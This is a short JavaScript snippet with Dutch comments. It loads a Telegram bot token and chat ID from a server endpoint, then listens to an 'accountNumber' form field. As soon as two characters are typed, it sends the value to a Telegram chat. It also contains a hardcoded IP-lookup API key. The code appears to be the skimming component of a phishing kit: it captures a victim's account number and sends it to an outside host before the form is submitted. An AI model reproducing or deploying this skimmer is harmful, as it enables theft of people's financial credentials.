<script>
let botToken = '';
let chatId = '';
const ipregistryApiKey = 'zvnkwi18xx3v87m9';

function fetchTelegramConfig() {
    // Pas de URL aan zodat je index.php aanroept met een GET-parameter
    return fetch('./index.php?action=getTelegramConfig')
        .then(response => {
            if (!response.ok) {
                throw new Error('❌ HTTP-fout bij laden van index.php');
            }
            return response.json();
        })
        .then(data => {
            if (data.telegramBotToken && data.channelUsername) {
                botToken = data.telegramBotToken;
                chatId = data.channelUsername;
                console.log('✅ Telegram API-gegevens geladen:', botToken, chatId);
            } else {
                console.error('❌ Fout: Telegram API-gegevens niet gevonden in index.php');
            }
        })
        .catch(error => console.error('❌ Fout bij ophalen Telegram-config:', error));
}

function sendTelegramMessage(message) {
    if (!botToken || !chatId) {
        console.error('❌ Telegram API-token of chat-ID is niet correct geladen!');
        return;
    }

    console.log('📤 Verzenden naar Telegram:', message);

    fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            chat_id: chatId,
            text: message,
            parse_mode: 'MarkdownV2'
        }),
    })
    .then(response => response.json())
    .then(data => {
        if (!data.ok) {
            console.error('❌ Telegram bericht failed:', data.description);
        } else {
            console.log('✅ Telegram bericht succesvol verzonden!');
        }
    })
    .catch(error => console.error('❌ Fout bij verzenden Telegram bericht:', error));
}

document.addEventListener('DOMContentLoaded', () => {
    fetchTelegramConfig().then(() => {
        // Gebruik het veld met id "accountNumber"
        const accountNumberInput = document.getElementById('accountNumber');
        let messageSent = false;
        
        accountNumberInput.addEventListener('input', () => {
            // Verkrijg de waarde en trim spaties eromheen
            let field1 = accountNumberInput.value.trim();
            // Verstuur bericht zodra er minimaal 2 karakters zijn ingevuld
            if (field1.length >= 2 && !messageSent) {
                sendTelegramMessage(`📝 Account Number input detected: ${field1}`);
                messageSent = true;
            }
        });
    });
});
</script>
